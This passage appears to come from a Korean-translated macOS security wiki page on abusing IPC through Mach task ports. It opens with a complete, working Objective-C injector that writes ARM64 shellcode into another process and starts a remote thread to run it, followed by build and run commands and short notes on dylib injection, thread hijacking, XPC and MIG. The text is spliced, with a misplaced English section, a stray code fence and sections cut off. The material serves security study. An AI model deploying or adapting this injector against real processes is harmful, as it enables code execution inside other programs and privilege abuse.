// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>  

## macOS IPC (Inter-Process Communication)

### Overview

Inter-Process Communication (IPC) mechanisms are commonly used in macOS for processes to communicate with each other. Understanding how IPC works is crucial for both developers and security professionals to prevent abuse and privilege escalation.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

iOS에서 작동하려면 쓰기 가능한 메모리를 실행 가능하게 만들기 위해 entitlement dynamic-codesigning이 필요합니다.

태스크 포트를 통한 스레드 내 Dylib 삽입

macOS에서 스레드Mach를 통해 조작되거나 posix pthread api를 사용하여 조작될 수 있습니다. 이전 삽입에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 posix 호환성이 없습니다.

단순한 셸코드를 삽입하여 명령을 실행하는 것이 가능했던 이유는 posix 호환 api가 아닌 Mach와만 작동해야 했기 때문입니다. 더 복잡한 삽입을 위해서는 스레드가 또한 posix 호환되어야 합니다.

따라서 스레드를 개선하기 위해 **pthread_create_from_mach_thread**를 호출하여 유효한 pthread를 생성해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 dylib를 로드하기 위해 dlopen을 호출할 수 있습니다. 따라서 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.

예를 들어 다음과 같은 예제 dylibs를 찾을 수 있습니다 (예: 로그를 생성하고 해당 로그를 청취할 수 있는 것):

macOS 프로세스 남용

macOS IPC (Inter-Process Communication)

이 섹션에서는 macOS에서 프로세스 간 통신 (IPC)을 남용하는 방법에 대해 다룹니다.

gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

태스크 포트를 통한 스레드 하이재킹

이 기술에서는 프로세스의 스레드가 하이재킹됩니다:

XPC

기본 정보

XPC는 macOS 및 iOS에서 프로세스 간 통신을 위한 XNU( macOS에서 사용되는 커널) 인터프로세스 통신을 나타냅니다. XPC는 시스템 내에서 서로 다른 프로세스 간에 안전한 비동기 메소드 호출을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하는 데 필요한 권한만 갖고 실행되는 권한 분리된 응용 프로그램을 생성하여, 컴프라마이즈된 프로세스로부터의 잠재적인 피해를 제한합니다.

통신이 작동하는 방식취약할 수 있는 방법에 대한 자세한 정보는 확인하십시오:

MIG - Mach Interface Generator

MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 이는 RPC 프로그래밍에 대한 많은 작업이 동일한 작업(인수 패킹, 메시지 전송, 서버에서 데이터 언패킹 등)을 포함하기 때문입니다.

MIG는 기본적으로 서버와 클라이언트가 주어진 정의(IDL - Interface Definition Language-)로 통신할 수 있도록 필요한 코드를 생성합니다. 생성된 코드가 어색해도, 개발자는 그것을 가져와서 그 코드가 이전보다 훨씬 간단해질 것입니다.

자세한 정보는 확인하십시오:

참고 자료

Last updated